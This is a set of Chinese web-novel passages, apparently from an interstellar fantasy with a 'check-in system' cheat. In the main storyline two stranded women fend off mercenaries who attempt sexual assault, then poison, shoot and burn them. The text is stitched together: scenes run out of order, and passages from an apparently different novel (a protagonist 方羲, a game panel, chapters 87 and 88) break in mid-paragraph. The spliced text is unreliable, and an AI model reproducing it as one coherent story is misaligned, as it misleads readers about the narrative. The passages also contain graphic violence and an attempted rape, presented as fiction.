接着是刀疤男，头颅被子-弹打得稀碎，步了前面两个同伴的后尘，死得不能再死。 一切……终于结束了。刀疤男和黑痣男还真有几分被说动了，但是想起了老大的话，像是被泼了一盆凉水一样冷静下来。 要是她们真有自己说的那么厉害，怎么会被困荒星这么长时间？那个什么夫人不会找人寻她们吗？ 还有，退一万步说，即使她们说的是真的，那设计她们的人岂不是更厉害？ 还是换成信用点好，一了百了，还更加安全。 黑痣男和刀疤男两人眼中闪过凶光，同时，添了更浓的垂涎和色-欲。 反正都是要卖到混乱星系去的，他们兄弟几个提前爽一爽，也没有任何问题吧？ 这么水嫩嫩的漂亮少女，他们可从未尝过滋味！ 瞧着两人赤-裸裸的眼神，方杏的肩膀控制不住地颤抖，但仍是坚定地护在方義的面前。 方義的唇瓣也被咬出了伤口。 她没想到，这些人发现她们的第一时间，做的事情竟然不是搜身，而是…… 罢了，就当成是被狗咬了一口，性命最重要！ 方義狠心咬牙，眼圈微红，做出慌乱无助的模样，心底却是一片冰凉的冷静。 “老大。”黑痣男和刀疤男虽然色-欲熏心，但基础的理-智还在。 他们不约而同地先看向了鹰钩鼻男人，征询他的意见。 鹰钩鼻男人是队长，作为三阶异能者，实力最强，真想泻火，也得是他先挑选。 “我就不用了。”鹰钩鼻男人挥了挥手，捂住了胸口，无奈道：“伤得有点重，之后再说，你们自便。” 这是力不从心了？ 也是，老大作为三阶异能者，被那帮子人针对最多，承受的压力也最大，难免会有些虚弱。 黑痣男和刀疤男都忍不住咽了咽口水，再次看向了瑟瑟发抖的两人。 “你左边，我右边？”刀疤男商量着问。 主要方杏和方義身上脸上都脏兮兮的，又一身宽松的灰色运动服，看不出太大的差别来。 “行。”黑痣男没有明显的倾向。 “那我就不客气了！”刀疤男手臂上肌肉爆棚，毫无怜香惜玉地拽了方杏到一旁。 方杏面色惊变，眼泪不受控制地往下掉，还在竭力镇定地开口威胁。 “夫人不会放过你们的！夫人不会放过你们的……” 刀疤男哈哈大笑：“小美人儿，我劝你现在还是省点力气，待会儿再叫。” 这边，黑痣男也开始解起了裤腰带，脱下了外面的作战服。 方義没怎么用力，卷翘浓密的睫羽上便盈上了一层晶莹的泪珠，慌乱地往后退了退。 “别过来……”她低泣的嗓音脆弱，满是无助。 走得近了，黑痣男才发现，少女的脸上虽涂满了灰，一双杏眸却是清澈透亮，好似映着春水，两排睫毛又长又密，如蝶翼翩跹，漂亮得不可思议。 看来，少女的容色应当极为的漂亮，不然也不会刻意做了这些掩饰。 黑痣男只觉喉间干涩不已，下意识放柔了声音：“别怕，我会温柔的！” 呸！温柔个屁！ 要是真温柔，就不会做出这样丧心病狂的事儿！ 方義眼泪簌簌而落，眼神却悄然扫过不远处的鹰钩鼻男人。 不行！ 要是只有两个人还好些，刀疤男和黑痣男脱了衣裳，她还能拼上一把，看能不能干掉他们。 可是鹰钩鼻男人就在那里，还一直紧紧地盯着这边，她没有任何行动的空间，怕是刚一出手就会被发现。 方義心中念头百转千回，没想意外就发生在刹那之间。 她还没来得及做些什么，就在黑痣男即将压在她身上的时候，两把亮着红光的刀刃便悄无声息地接近，干脆利落地分别割断了刀疤男和黑痣男的喉咙。 “哗哗哗——” 那刀刃贯穿了黑痣男脖颈上的大动脉，鲜血如喷泉般喷涌而出，尽数溅在了方義的脸上。 紧随其后的是一声闷沉的声响，刀疤男的尸体重重地坠落而下，压得方義险些吐出一口鲜血来。 方義整个人都有些怔楞，大脑木木的，身体反射性地恶心作呕，胸腔疼痛无比。 鼻尖萦绕的满是浓郁的血腥味，还是滚烫粘稠的，厚厚的堆积成了一层。 方義第一次知道，原来人体内的鲜血能流得这么快、这么多，能喷溅得这么远。 微微偏头，就可以看到一张瞪大了眼睛的死人脸，双眼凸出，眼神里还残存着情-欲。 那赤红的刀刃来得太快，太过猝不及防，黑痣男至死，都不知道发生了什么。 直面这般面容，方義终于忍不住，“哇”得一声侧头干呕，眼泪滚滚而落。 她想推开身上的尸体，却发现刀疤男的尸体太过沉重。 而她自己手软脚软，根本推不动，反而无意间被他衣兜里的东西咯了一下。 是什么东西？ 方義像是分成了两个人，一边干呕不止，一边借着尸体的掩饰摸兜，悄悄地塞进了自己的口袋里。 不怕！活人才可怕！死人有什么可怕的！ 没有人可以救她们！只有她们自己才可以救自己！ 方義的眼睛哭得通红，不住地在心中安慰自己，才慢慢地恢复了力气。 她刚要咬牙再尝试推开身上尸体，却见一只大手像提死狗一样将黑痣男的尸体提了起来，随意地丢到了一边。 紧接着，是压在方杏身上的死去的刀疤。 “黑痣，刀疤，老大我再教你们最后两个人生的道理。” 鹰钩鼻男人同情地哀叹一声，怜悯道：“第一，色字头上一把刀；第二，只有死人，才能真正地保守秘密。” 那么大的一笔信用点，他怎么可能愿意和另外两个人分？一个人独享不快乐吗？ 而且，还会从此绑在一起，整日过得提心吊胆的，担心他们谁泄露了秘密。 他是三阶异能者，而黑痣男和刀疤男只是两个连兽形都没有的普通人，凭什么和他抢？ 趁着鹰钩鼻男人对着尸体说话的时候，方義已经积攒力气爬到了方杏的身边，扶起她握住了她的手，紧张地看向了鹰钩鼻男人。 方杏也是同样，还是惊魂未定的样子，瞪大眼睛满脸恐惧。 看着黑痣男头顶最后一丝血条被清空，看着黑痣男和刀疤男旁边两条变灰的血条，方義慢慢地吐出了一口气，说不出的疲惫。 微风吹动沙草丛，发出“沙沙沙”的声音，像是在无声安慰着什么。 方義拖着沉重的脚步走进沙草丛深处，俯身抱起了沾了灰的青蛋，下巴搁在上面，闭上了眼睛。 方杏与她并肩而站，互相搀扶支撑，接触的那片肌肤滚烫，传递着温暖的力量。 接下来就是打扫战场，这么浓郁的血腥味，极容易引来强大的猎食者。 因此，方義毫不吝啬地洒了大量的生石灰，又喷了许多的空气清新剂，然后和方杏合作，将三具尸体堆到了一块。 【燃烧药剂（三阶）】 【说明：使用火苗引燃，点燃熊熊大火，毁尸灭迹的不二选择。】 方義丢了一瓶炼制出的三阶燃烧药剂，一枪击碎了药剂瓶。 几秒钟后，熊熊烈火喷涌而出，将黑痣男三人的尸体包裹其中，烧得干干净净，只剩下变得漆黑的骨头，伶仃地散落在那里。 趁着大火燃起的时候，方杏简单地支了帐篷，两人分开洗漱，换了干净的衣物，把脏衣服顺便也丢进了火堆里。 尸体燃烧发出“噼里啪啦”的声响，还有不太好闻的尸油焦糊味道。 等血肉被尽数燃尽，三阶恢复药剂也消耗殆尽，火堆慢慢熄灭了。 “杏子姐，他们的飞梭应该停得不远，我们去找找看？”休息够了，方義的精神状态恢复了不少。 她现在最想做的当然是躺在大床上痛痛快快地睡上几天几夜，但时间不等人，还是先寻到飞梭，才更加安心。 方杏的眼神也亮了亮。 有了飞梭，她们就有了回到宜居星球的希望。 “好，那我们现在就动身？”方杏问。 方義提议：“分开行动怎么样？效率更高。” 主要这附近都被她探索得差不多了，没有什么危险。 而且，还有一些事情，是得支开杏子姐之后才能做的。 方杏只思考了几秒，便同意了方義的决定。 早找到星际飞梭早好。 星际飞梭的空间狭窄，她们在星际飞梭上并没有办法太好的休息。 以现在的情况，还是得先支起大帐篷修整一段时间，然后再考虑离开荒星的事儿。 方杏顺着鹰钩鼻男人他们来的方向寻了过去，方義却没急着离开，而是看向了不远处的空地，那里正闪烁着三个白色的光点。 【检测到签到地——F级佣兵小队队长（LV31火系异能者）死亡处，是否花费1签到点签到？】 【检测到签到地——F级佣兵小队成员一（LV29）死亡处，是否花费1签到点签到？】 【检测到签到地——F级佣兵小队成员二（LV28）死亡处，是否花费1签到点签到？】 是的，黑痣男三人死亡的地方，都分别成为了签到地。 ‘是，确认签到！’方義在心中默念。 【您在签到地——F级佣兵小队队长（LV31异能者）死亡处签到成功，获得附着火系异能（三阶）的刀刃X10】 【您在签到地——F级佣兵小队成员一（LV29）死亡处签到成功，获得衣服套装X1】 【您在签到地——F级佣兵小队成员二（LV28）死亡处签到成功，获得附着包子套装X1】 方義扫了一遍签到获得的物品，其中价值最高的肯定是10把异能刀刃。 【附着火系异能（三阶）的刀刃】 【说明：确认目标后，可自动瞄准射击，威力相当于三阶火系异能者全力一击】 签到获得的物品都可以永久存放于签到空间中，这无疑成为了方義的又一个攻击性杀手锏。 有了这10把刀刃，偷袭便不再是件难事儿。若是以后再遇到了三阶异能者，也有了一拼之力。 方義取出一把火红色的刀刃，眸光微动，对准了一株二阶沙漠荆棘。 下一秒，火红色的刀刃无声无息地掠出，沙漠荆棘刹那间便被削断，刀刃则又回到了方義的手中。 自动瞄准，自动回归，还不是一次性的。 好东西！ 方義满意地把玩了一会儿，才将火红色的刀刃放回了签到空间，看起了下面的物品。 点击进入黑天鹅界面。 尽管方羲已经做好了心理准备，但面对这对9999+铺天盖地一般的未读信息……方羲还是被砸了个措不及防。 先不说后台那一堆陌生玩家的消息，居然连官方【黑天鹅001】也主动给她发了消息，每天平均发送一百条那种。 方羲的指尖颤抖了一下，实在不知道从何处理。 方羲思考了两秒。 方羲放弃思考，决定关闭游戏面板。 把怀里的猫猫放到一边，走进工作室，打算清点一下战利品。 顺便把集邮册里碎掉的傀儡修一下，再把它们送回去黑天鹅好了。 第 87 章 第 87 章 方羲打开皮箱，开始清点这次收获的胜利品。 有相当一大部分是从“乘务员”那里薅到的羊毛，方羲把比较重要的【太阳的眼睛x1、神奇的演员称号x7、世间最公平的天秤x1、遗落的远古武器胚胎x100】先取出来，堆在桌上。 武器胚胎的数量有点多，桌上实在放不完，方羲便相当随意地把它们丢在地上，咕隆隆地滚落一大片。 然后是在“七星级酒店”搜刮来的各种乱七八糟的食材和道具，这些就暂时继续放在皮箱里。 方羲顺便吃了几个【魅惑满值的豆沙包】，味道有点甜。 “喵～”三只猫猫跟了过来，扒拉了一下方羲的裤脚。 谢星摇虽然刚突破六阶没多久，但他的兽形是谢家传承的青龙，实力强大，足以和六阶中期的变异兽对战。 只是异能每三阶一道坎，七阶变异兽的实力是六阶巅峰的几十倍，远不是谢星摇能匹敌的。 所以，他的目标定在荒星的六阶巅峰变异兽。 谢别寒不是多言的性子，知晓谢星摇心中有数，他递了个物资满满的空间器过去，便没再多说。 谢星摇没推辞，乐呵呵地收了。 看见空间器里丰富高级的各种资源，他感动得眼睛都在发光。 “谢谢小叔叔！”谢星摇美滋滋地把空间器揣在怀里，脚步轻飘飘的，像是在云端。 空间器里，光是六阶的净化药剂就有好几瓶！ 那可是六阶的净化药剂，紧要关头是可以救命的，在整个星耀帝国有价无市！ 除此以外，还有大量的高阶能量石，好几把备用的冷兵器、热武器，治疗药剂和灵植之类，一应俱全。 光这些基础物资，价格都得亿万信用点朝上了！ 不愧是他们谢家的牌面，赫赫有名的圣阶异能者，小叔叔家底可真丰厚！对他们也是真的大方！ 道完谢，谢星摇开开心心地往外走。 刚一脚踏出房间，他不知临时想到什么，又转身扒在了门上，一副欲言又止的样子。 “想说什么，吞吞吐吐的？”谢别寒平静地侧眸。 谢星摇掩饰地打着哈哈，挤眉弄眼的：“小叔叔，黎家那个黎白是不是在你手下实习？” 黎白出身九大贵族当中的黎家，继承了黎家传承的白虎兽形，天赋极高。 今年刚九十岁出头便突破成了七阶异能者，被黎家寄予厚望，被夸赞为未来的准圣阶。 星耀帝国九大贵族之间虽然存在一定的矛盾和冲突，但合作也不少。 比如说黎家和谢家，就属于关系十分亲密的两大家族。 因此，黎白从帝国第三军校毕业之后，没进帝国第三军团，反而跟在了谢别寒后头历练。 一是安全，有圣阶强者照应；二也是真的想要学点东西。 “是，怎么了？”谢别寒颔首，面上多了几分探寻之色。 黎白跟着他已经好几年了，谢星摇怎么好端端的突然说起了他。 “哎，小叔叔你可能不知道。”谢星摇斟酌着字句，解释道：“前段时间黎白不是去了三等星X-7898镇守吗？” “他在那里意外发现了一个天赋不错的贵女，帮了他不小的忙，关系还挺不错的。” “然后呢，流言传着传着就变了味道，说是他和那贵女之间有点儿……暧昧关系。” 谢星摇比了比手指，眼底带上了些嫌弃：“可事儿不凑巧，黎白和云家大小姐云依依是指腹为婚。” “云依依灵力觉醒得早，从小千娇百宠长大，前不久突破成了三阶净化师，行事更是嚣张。” “说她对黎白有多深的感情，那倒不至于。可是作为未婚妻，占有欲那绝对是杠杠的。” “所以，她做了什么？”谢别寒拧眉。 谢星摇绕了这么大的弯子，想说的应该不止是黎白和云依依的八卦？ 谢星摇抿了抿唇，阳光俊朗的眉眼中添了几分厌恶。 “一个多月前，黎白回了X-7899星球工作，顺便把那贵女也转了过来。” “只是贵女家有事情处理，所以晚了一步，没跟着黎白一起，而是乘坐的星舰。” 一个多月前。谢戈和谢别寒是帝国第二军校的学生，这次是趁着假期实习机会出校完成任务，顺便搜寻圣阶明目草。 他们时间有限，没有在村落停留太久，教了方義和洛玉半个多月后，便提出了告别。 “你们天赋这么好，完全可以报考帝国第二军校的药剂学院。” 虽然几番掩饰，但谢戈总是控制不住地往洛玉的方向看，眼神里的意味遮掩不住。 洛玉的耳尖染上了一点绯红，但脸上更多的还是迟疑：“真的可以吗？” 不得不承认的是，三等星和一等星的师资力量差别还是太大了。 三等星的学生想考帝国第二军校，难度比一等星的学生大许多。 要知道，整个星耀帝国，最好的学校便是十大军校，背后分别站着帝国皇室和九大贵族，是所有英才成长的摇篮。 洛玉的成绩在她们镇虽然算得上不错，但距离第二军校的录取分数线还是差得太多。 她们镇已经有足足几十年没有人考上帝国十大军校了。 “可以的，在药剂学院，不同等阶的药剂师有不同等级的加分。” “以你的情况，只要在九月份以前突破成为了三阶药剂师，想考上帝国第二军校一点儿也不难。” 谢戈的母亲就是帝国第二军校药剂学院的副院长之一，他对招生相关要求十分熟悉。 这半个多月，他充分看到了洛玉在药剂方面惊才艳艳的天赋，在他见过的所有药剂师里，都是当之无愧的第一。 唯一可以与她相媲美的，也只有方義一人了。 也不知道这颗三等星是怎么回事，天才一个一个地扎堆出现。 谢戈在心中感慨，下意识看了方義一眼，不经意间却发现了谢别寒平静的“视线”。 他的双眸笼罩着一层淡淡的灰雾，无声地“看向”方義的方向，专注而认真。 谢戈的心跳蓦地慢了一拍。 这种表情，真的很容易让人误会！ 话说别寒对方義究竟是个什么态度？ 最近几天，他的大部分心神都被洛玉所吸引，对谢别寒那边关注不多。 只知道，他长时间和方義一起相处，方義的诸多药剂启蒙知识，也都是来源于谢别寒仔细而耐心的教导。 可是，以别寒的性子，他是这样热心的人吗？ 就说他，这么尽心尽力，一方面是着实欣赏并惊叹于洛玉的天赋，另一方面则是……他自己怀着些不好告知旁人的隐秘心思。 “谢戈，谢别寒，一路顺风！”洛玉的声音将谢戈从失神中唤醒。 他抬头，对上了洛玉那双清澈而明亮的眼睛，含着美好的祝福和笑意。 谢戈被这双漂亮的眼睛惊艳刹那，脑海中霎时一片空白。 直到洛玉的面上出现几分疑惑之色，他才恍然回神，轻轻咳嗽了几声，干巴巴地道了句谢。 “记得常联系！”谢戈晃了晃手腕上的光脑，笑容灿烂：“来S2星球前告诉我们一声，我去接你们！” “嗯！”洛玉重重地点了点头。 直到谢戈和谢别寒乘坐星舰离开，她才转身，和方義一起离开。 “小義，我们一起加油！”洛玉的脸上写满了对未来的憧憬。 曾经的她并没有多么远大的理想，只觉得能炼制出一阶止血药剂已经足够了不起了。 但谢戈的话给她的心中埋下了一颗希望的种子，激发了她向上的野心和渴望。 她想要变得更强！ 药剂大师，药剂宗师，不再是一个遥远而不可及的名词，而是切实追求的理想。 “阿玉，我相信你，你一定会成功的。”和往常无数次一样，方義眉眼弯弯，语气坚定地开口，充满了信任。 如今是六月份，距离九月还有三个月。 短短三个月时间，想从一名刚入门的药剂学徒，升级成为一名三阶药剂师，于旁人而言是绝不可能，但洛玉却成功地创造了奇迹。 在这期间，谢戈和谢别寒一直没有断了联系，他们分享了不少高质量的文本资料和视频资料，提供了许多帮助。 【一阶止血药剂（上品）炼制成功，炼制药剂经验+10，您从药剂学徒升级成为一阶药剂师】 【二阶补血药剂（上品）炼制成功，炼制药剂经验+20，您从一阶药剂师升级成为二阶药剂师】 【三阶回春-药剂（上品）炼制成功，炼制药剂经验+40，您从二阶药剂师升级成为三阶药剂师】 九月，茉莉花开的季节，在洛玉成功炼制三阶药剂的第二天，方義也成功地成为了一名三阶药剂师。 看着个人面板唯一点亮的【药剂师（三阶）】技能，方義只觉内心充满了成就感。 无论是什么技能，三阶都是一道坎。 想突破成为四阶药剂大师，需要的不仅仅是天赋，还有专业的培养和坚持不懈的锻炼。 网上报名了帝国第二军校的招生考试，洛玉和方義提前一周，坐上了前往S2星球的星舰。 正如谢戈所说的那样，三阶药剂师的加分不菲。 虽然洛玉和方義的大考得分远远不够，但还是通过特招顺利地被帝国第二军校药剂学院录取。 帝国第二军校不愧是星耀帝国十大名校之一，药剂学院的师资力量极其庞大。 授课老师大多是六阶药剂大师，还有不少七阶药剂宗师。药剂学院的院长，更是一名出身谢家的九阶药剂宗师。 洛玉进入第二军校的药剂学院后，堪称是如鱼得水，短短半年不到，便成了学院著名的天才少女。 帝国十大军校都是六年制，药剂学院也不例外。 二年级的时候，洛玉便被一名八阶药剂宗师副院长看中，成为了她的亲传弟子。 方義则讨了个巧，凭借肝帝精神和签到系统经验加点金手指，跟上了洛玉的脚步，做了她的“小师妹”。 三年级，在洛玉突破四阶药剂大师的第二个月，方義也成了四阶药剂大师。 五年级，五阶。 六年级，六阶。 大学六年，洛玉和方義是药剂学院赫赫有名的传说人物，几乎把所有的时间都投入到了药剂的炼制和研究当中。 那句话是怎么说的来着？ 时间像是海绵似的，挤挤总是有的，方義算是真切地了解其中真谛。 刚入学的时候，谢戈和谢别寒还能勉强教洛玉、方義一点东西。 到了一年级下半学期，谢戈和谢别寒已经开始完全跟不上洛玉、方義两人的脚步，反而经常性地从她们那里寻求帮助。 他们两人都是单兵作战学院的尖子生，流血受伤是家常便饭，药剂差不多是当成水来喝。 谢别寒眸光微动，面上多了几分寒意：“那艘遇到了星际风暴的星舰？” “没错，是白大小姐动的手。”谢星摇点点头，声音中添了几分沉重之意，咬牙切齿的。 “那个又蠢有毒的家伙，不仅故意更换了星舰的航线，还在星舰的逃生舱上动了手脚！导致最后的幸存率不足十分之一，伤亡惨重。” 那是飞往三等星的民用星舰，上面的乘客大多是家世不显的平民。 身份最尊贵的是两个贵女： 一个是黎白结识的那个二阶贵女，还有一个是二等星犯了大错的一阶贵女。 剩下的也就是些男性异能者，以星际佣兵为多，四阶以下，无权无势的，压根没办法和云家大小姐抗衡。 更甚者，他们可能到死都被蒙在鼓里，只以为是自己运气太差。 可到底是一条条鲜活的性命！ 能做出这样的事情，足以见出云依依此人的狠辣。 如今，她追着黎白来了X-7899星球，还不知道会闯出什么祸端来，会不会影响小叔叔剿杀木鬼的计划。 “这件事情，我会派人调查处理。”谢别寒的眸色沉了下来，显然是将其放到了心底。 只是，云依依的出身和身份在那里摆着，小叔叔又能做些什么呢？ 顶多是为那些受害者多要些赔偿，不可能让一名出身九大贵族之一的三阶贵女为那些平民偿命。 唉！ 谢星摇无声叹息，眼神暗了暗，很快又是毫无阴霾的阳光笑容：“好嘞！那小叔叔再见！” 他用力地挥了挥手，笑嘻嘻地跑了出去。 灿烂的阳光下，一架天青色的飞梭如流光般消失在天际。 荒星，方義和方杏也在仰头看着天边的飞梭。 只是她们脸色难看，带着明显的忧心。 因为距离太远，以她们的目力，只能勉强看到湛蓝天幕中的一个小点，如同星星般闪烁着亮光。 幸而她们运气不错，飞梭只是遥遥地在天边掠过，很快便又消失在视野中，不见了痕迹。 ——飞梭的主人离开了荒星。 “他们走了。”方杏舒了一口气，语气有些复杂。 她也说不清楚，是希望那飞梭着陆发现她们，还是希望飞梭毫无所获地离开。 若是飞梭着陆，万一像小義说的，上面全是刀口上舔血的狠辣佣兵，对她们图谋不轨怎么办？ 但若是飞梭全部离开，没有交通工具的她们，难道还真要一辈子待在荒星不成？ “船到桥头自然直。杏子姐，咱们顺其自然就好。”方義语调轻松地安慰。 也是，说不定她们运气不错，离开的恰好是坏人，着陆的刚好是好人呢？ 方杏眼底的担忧散了些，笑容真切许多：“小義你说得对，咱们不必自己吓自己，得把事情往好的方面想。” 话音刚落，在场所有人静默了两秒。 落地窗之外的紫色黄昏，在这一瞬越发盛大。 世界仿佛响起烟花轰炸的声音。 “对了！” 夏青禾不想再和人类笨蛋们交流，拉紧鸭舌帽，干脆把方羲交代的话一次性说完：“主人还说，让你们准备好四百张病床，她过一段时候会过来浮空岛。” 咦？奇怪。 他们的心跳声好大，怎么了？ 第 88 章 第 88 章 修完第一只傀儡，方羲转身离开工作室，顺手拿走一个【每天自动做饭的万能便当】，坐在客厅的餐桌椅。 啪地一声打开饭盒盖子。 方羲一脸期待，缓缓移开盖子，露出里面的饭菜。 黑椒口蘑牛仔骨！嫩豆腐炒虾仁！ 热腾腾仿佛刚蒸好的米饭！上面还盖着几块绿花菜和一个溏心蛋！ “杏子姐放心，我知道的。”方義认真地点头。 应对完了方杏，方義又将视线投向了系统。 尽管三阶蝎毒药剂已经炼制出来了，但方義还是有些不放心。 佣兵都是拿命在赚钱，能生存下来的佣兵，实力可能并不怎么样，谨慎性却一定是一等一的。 她们两个没有什么经验的女性，要怎么成功地使用蝎毒药剂？ 除非…… 不用她们自己动手，得让佣兵主动地喝下去，还得不引起任何怀疑。 方義的眸光动了动，又一门心思地投入了药剂的改善当中。 四阶以上的药剂虽然暂时炼制不出来，但是九阶药剂宗师的技能摆在这里，方義对药剂的理解是实打实的，调整配方、改善效果还是很简单的。 一天一夜的辛苦调试，方義终于炼制出了自己想要的成品。 【您成功地炼制了三阶蝎毒药剂（改善），炼制药剂经验+30.】 【三阶蝎毒药剂（改善）】 【说明：无色无味，防不胜防。可令三阶强者中毒垂危，毫无反抗之力，可令二阶及以下强者一分钟内毙命。】 ‘什么是佣兵最渴望急需的东西？高级营养液？自然食物？’ 方義在五芒星吊坠空间器中搜寻着合适的目标对象，最终选中了刚塞进去没多久的淡金色液体。 ‘不，应该是——净化药剂。’ 星耀帝国的男女比例失调，贵女的数量更是少之又少。 佣兵们为了赚钱，常年在未知荒星探索，偏偏他们社会地位不高，很难有机会接触贵女，想买到净化药剂就更难了。 因此，他们体内的辐射值普遍较高，发现了净化药剂，很有可能会在第一时间使用。 但也不排除其他可能，万一他们是新佣兵呢？万一他们刚花了大价钱去寻贵女治疗过？ 方義看了看自己炼制出的三十来瓶蝎毒药剂，一部分放进了净化药剂中，一部分放进了高级营养液和自然食物成品当中。 【混合了蝎毒药剂（三阶）的净化药剂（二阶）】 【说明：有一定的净化辐射作用，但会令三阶强者中毒垂危，令二阶及以下强者一分钟内毙命。】 【混合了蝎毒药剂（三阶）的高级营养液】 【说明：提供维持人体三天活动的能量，但会令三阶强者中毒垂危，会令二阶及以下强者一分钟内毙命。】 万事俱备，只欠东风。可他喝的药剂实在太多，中毒太深，飞刃扔出的力道弱了许多，还没能附着异能。 方義眼疾手快地推开了方杏，自己也利用反作用力左移几步，转而迅速地取出了袖珍手-枪，对准鹰钩鼻男人连开多枪。 那是她从黑痣男尸体上偷拿的武器，一直藏在口袋里。 成为了二阶净化师之后，方義的五感提高了许多，又专门向方杏讨教过开-枪技巧，虽然不能做到百发百中，但准头还是相当不错的。 “砰砰砰——” 几枪命中了鹰钩鼻的胸膛，还有几枪命中了他的大脑，鹰钩鼻死死地瞪大眼睛，仰头倒了下去。 与此同时，方義和方杏虽然避开了致命位置，但还是被数枚刀刃命中，忍不住哀痛出声。 一枚刀刃恰巧刺中了方義的右手腕，袖珍手-枪脱手而出，“啪嗒”一声摔落在地上。 方義忍着钻心的疼痛，艰难地蹲下来用左手捡起了袖珍手-枪，然后慢慢直起身。 身上的血流得更欢快了，和灰尘脏衣服黏在一起，狼狈得吓人。 “小義，恢复药剂在空间器里，我去拿。”方杏被方義这一串果断狠绝的手段惊到了，转而是五脏六腑都揪着疼。 她哑着嗓子，随便地抹了把眼睛，就打算跌跌撞撞地上前去拿回空间器。 “等等——”方義叫停了方杏。 就在方杏不解地回头看她的时候，方義忍痛前进几步，近距离对准鹰钩鼻男人的头颅又开了枪。 “砰砰砰——砰砰砰——” 接连不断的枪响之后，方義打空了袖珍手-枪里全部的子-弹。 直到鹰钩鼻男人的头颅已经碎了一地，粘稠的脑浆稀稀拉拉地流了下来，她才无力地垂下了手，任凭手-枪滑落。 “到底是异能者，还是小心些，以防他假死。”因为身上太疼，方義说一句就要停顿一下，艰难地解释了自己的意思。 她一直都开着【火眼金睛】，不知道是不是死后一段时间才能改变状态。 反正她第一波开枪之后，鹰钩鼻男人头顶的血条和蓝条还是亮着的，刚刚才彻底变灰。 “对！对！”方杏泣不成声，一边流泪一边去摸尸体上的五芒星吊坠空间器。 她的双手都在发抖，急急地将其递给了方義：“小義，你快先喝瓶恢复药剂，血流得太多了……” 方義整个人好似都化成了一个血人，鲜血淋漓的，狼狈得不行。 “嗯。”方義接过空间器，想开口说谢谢，但实在是没有气力了。 双腿一软，就这么跌坐在地上，也顾不得衣服会不会沾染上灰尘和血液。 反正早就脏得离谱，下摆上都在不停地往下滴血，拧一把说不定还能拧出一堆鲜血来，也就不用在意这些小细节。 她们虽然看起来伤得重，但其实都是皮外伤，刺中她们的也只是普通的刀刃，并没有附着异能，所以恢复起来并不难。 方義从五芒星吊坠空间器里取了两瓶三阶的恢复药剂，伸手给方杏送了一瓶。 她倒是想扔，可没力气扔，也只能方杏自个儿过来取了。 方杏没像以往那样推辞，这次极其惨烈的经验告诉她，性命比什么都重要。 只有保住性命，她才能有机会回报小義为她付出的一切。 她也没顾及形象，直接一屁-股坐在了方義的旁边，接了药剂叮嘱道：“小義，恢复药剂效果虽然好，但在服用之前得先把刀刃拔-出来。” 不然药剂起了作用，血肉生长，刀刃会直接嵌在伤口里的。 方義点点头表示明白，从空间器中取了一个干净的手帕塞进嘴里，然后一咬牙，先拔出了没入右手腕的那个刀刃。 “嘶——” 她下意识倒抽一口凉气，生理眼泪唰唰唰就下来了，额头上冒出大颗晶莹的汗珠。 “咔嚓”一声，刀刃掉在地上发出清脆的声响。 方義的视线有些模糊，怀疑自己要不是有先见之明地在嘴里咬了东西，怕是疼得舌头都要被咬断了。 鹰钩鼻男人一共发了八枚刀刃，方義推方杏的动作很快，方杏中了两枚，她自己则中了三枚。 拔了右手腕上的一枚，还有右肩处的一枚和右边腰腹处的一枚。 方義拿刀子把衣服划开了，忍着痛一口气全拔了。 鲜血像是开了水龙头的自来水一样哗哗流淌，没一会儿便又浸湿了一大块。 眼泪滑落，在布满干涸血迹的脸上流出一道道痕迹，脏兮兮得像是一只在垃圾桶里打滚儿的流浪猫。 方義都快分不清楚，自个儿身上哪些是黑痣男脖颈上喷溅出来的血，哪些是自己流出来的血。 就觉得大脑一阵一阵的发晕，显然是失血过多的后遗症。 她擦了擦手，灌了一整瓶的三阶恢复药剂下去。 方義的个人等级才刚刚抵达LV26，三阶恢复药剂的效果足够好。 虽然比不得九阶的那般立竿见影，但也能感受到血肉生长的酸胀感。 但除了酸胀，最多的还是挠心挠肺的痒。 尤其是手腕、右肩和右边腰腹三处，痒得不行，却又不能挠，难受得方義的眼泪又开始不停地掉。 好疼！这里太危险了，她想回家！ 方義“啪嗒啪嗒”得掉眼泪，眼睛红得像是小兔子似的。 心里难受，但她还是强迫自己理智，咬牙跌跌撞撞地站了起来。 “小義，小心！”方杏也连忙起身，眼疾手快地扶住了她。 方杏的伤口也包扎好了。 她伤得本就没有方義重，对疼痛的耐受力比方義那具娇生惯养的身体强得多，倒没有她那么过分难受。 “还要做什么吗？我来就好！”方杏果断地开口，看向方義的眼神里满是心疼。 方義迟疑了片刻。 方杏缓声道：“小義，相信我，我希望自己能帮到你，而不仅仅只是拖累。” 方義想了想，没再逞强，她确实还没怎么恢复完全，倒不如交给杏子姐。 “杏子姐，黑痣男和刀疤男虽然中了异能刀刃，但我担心他们还没死全。” 她递了把装满子-弹的枪-支过去，神色平静：“你去补几枪吧。” 啊呸，方義的意思是，有备无患。 看着五芒星吊坠空间器中一整排的剧毒食品，她总算有了些许的安全感。 只希望一切都顺顺利利、平平安安的，即使遇到了些许波折，也能有惊无险。 方義真诚地祈祷着，控制不住地打了个哈欠，匆忙洗漱完，钻进睡袋就陷入了香甜的睡眠。 为了这药剂，她已经两天一夜没怎么合眼了，可困死她了！ 接下来的几天，无风无浪，方義规律地早起锻炼、抱着青蛋净化辐射，像仓鼠一样兢兢业业地囤签到点。 主要为了凑够足够的三阶蝎毒药剂，她花了不少的签到点，得加班加点赚回来才是。 当然了，一阶和二阶的蝎毒精华也不能浪费了，休息的时候，可以顺便炼制成药剂成品。 蚊子再小也是肉，能多毒一个算一个。 直到五天后，天气转阴，方義和方杏眼睁睁看着一艘深灰色的星际飞梭距离她们越来越近，直至降落在不远处的沙漠上。 “把显眼的帐篷收起来，我们先躲到沙草丛里。”方義早就和方杏训练过相关动作。 她们熟门熟路地分工合作，一个收拾帐篷，一个把周围的生活痕迹打扫清楚，匆匆地躲进了一处沙草丛中。 沙草是一种没有任何实用价值的植物，辐射值还极高，是大部分冒险者避之不及的生物。 若是能避开星际飞梭上的人，那自然最好，皆大欢喜。 若是避不开…… 方義缓缓地吐出一口气，使用了【火眼金睛】技能。 星际飞梭已经处于技能囊括范围内，在【火眼金睛】的作用下，方義清晰地看到了三个黄色的小点。 态度中立，等级分别为LV31、LV29、LV28。 LV29和LV28的两人只有血条，LV31的那人一血条一蓝条，是异能者。 方義冷静地分析着，缓缓地放慢了呼吸。 对着方杏打了个手势，确认她闭上了双眼，方義才也合上了眼睛。 大部分经验丰富的佣兵，对视线的敏感程度都比较高。 她们睁开眼的时候总是紧张，忍不住往佣兵的方向看。倒不如一了百了，直接闭上眼，降低被发现的可能。 停靠的星际飞梭上下来三个男人，都是一脸凶相。 